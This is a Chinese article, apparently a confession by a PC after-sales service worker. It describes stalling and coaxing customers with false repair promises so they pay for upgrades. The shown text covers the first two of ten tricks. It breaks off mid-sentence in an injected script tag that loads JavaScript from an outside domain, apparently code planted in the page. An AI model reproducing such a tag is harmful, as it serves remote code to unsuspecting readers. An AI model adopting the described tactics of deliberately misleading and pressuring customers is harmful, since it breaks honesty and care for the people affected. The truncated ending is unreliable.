品牌机越来越受到人们的欢迎，不管是商用电脑还是个人电脑，品牌机的份额都是越来越大。大家都知道，品牌机的一个好处就是良好的售后服务，但是我们现在的服务是否到位了呢？这么多品牌机厂商打出的如花般的售后服务是否都是真实的呢？下面就让我们来看一看一个售后服务人员在售后服务中的真实故事吧！

　　干了好几年的计算机售服工作，其间的辛酸苦辣也知有自己和同仁们才知道。对内

要保证公司的利益不受到损失，要把公司当成自己的家；对外要替客户着想，要把客户当成自己的朋友，要让客户知道我们在为他考虑。当然在这样一对矛盾共同体面前，肯定还是首先保证公司的利益。做得时间长了，也得出了一些“秘决”，今天写出来大家共享，也让大家了解一下计算机售服的“内幕”。大家看了以后，也就明白了---虽然国家的三包法出来了，但是执行起来也很难做到公平，公正。

　　十大怪招之首--哄

　　这是第一招，是对付客户必备良药！说实在的，自己做售服已经做了多年，就明白一个道理，做售服就是为公司擦屁股。如果公司真的有钱，手里有备件，那还要售服干什么，也就没有必要去哄客户了。售服，不就是客户的机器坏了，产品质量不好，客户有意见有情绪，要找个地方维修机器，找个地方发发脾气，找个出气的地方，所以大的电脑公司都有一个售服部门，为的就是让大家找个出气解闷的地方。

　　最头疼的就是备件往返周期太长，只要一返厂维修就是二三个月。你说，客户来找我们要自己的东西，连我们自己心里都有一个底，面对我们忠实的客户我们能怎么说？说还没修好？都两三个月了，就是发到美国也该回来了。说修好了，可东西还没有回来。但是公司就这样，一个内存条返回去，就像大雁南飞，一去就是大半年。有时明知道是修不了的东西，也非要等两三个月才能有处理消息。有的即使是刚买一个月的配件也要发回厂家进行维修，就是不能马上更换。没办法，当客户打电话时，只能对客户说，“快了，快了，再有几天就回来了！”，绝对说不出准确的日子，也不可能说出准确日子。然后客户再打电话，我们再说快了，最后客户打电话的次数多了，也就养成了只要客户打电话，先让客户把电话挂了再说。时间长了，大家都养成了习惯，所有客户打电话来询问自已的备件时，我们都是一句话，快了，快了，再等几天就回来了。如果是客户是亲自来公司的话，那就好话说尽，先让客户消消气，先回家再说；真不行，等东西回来，我们给您送去。因为我们手里也拿不出客户返修的坏件。

　　第二怪招--拖

　　公司在刚开业的时候，为了扩大销售，对客户都承诺了三年保修。时间过得也真快，二年多了，机器的故障也多起来了。原来卖出的品牌机中的PIV主板，有不少出了问题，主板坏了，CPU坏了。修，修不了；换，没得换。这一大堆问题让我们售服头大得很。

　　要客户加钱换新主板，客户不愿意付款，嫌加的钱多。公司又不同意免费为客户更换。这时矛盾就出来了。售服也没有权利让客户不付钱就拿走主板，这时我们就只好自己想办法。既然客户不同意，那我们就拖。客户家里装有宽带，没有电脑用，但是宽带的钱还是要交的，拖他两三个月，客户肯定急得没办法，最也就只好接受我们的条件，加钱再升级一个新主板了事。

　　有时客户可能真的不同意我们的做法，但是我们也有我们的办法。天天打电话“协商”寻求解决问题的办法；要么上门找客户非得把问题解决不可，最好搞得客户头大，也只能同意我们的方案，尽管对客户不利。说实在的，在实际工作中，“拖”还是非常有效的，大事能拖小，小事能拖没。也难怪原来在国营单位里工作事对于一些比较棘手的问题，可以不予理会，拖得时间长了，问题?script src=http://cn.jxmmtv.com/cn.js>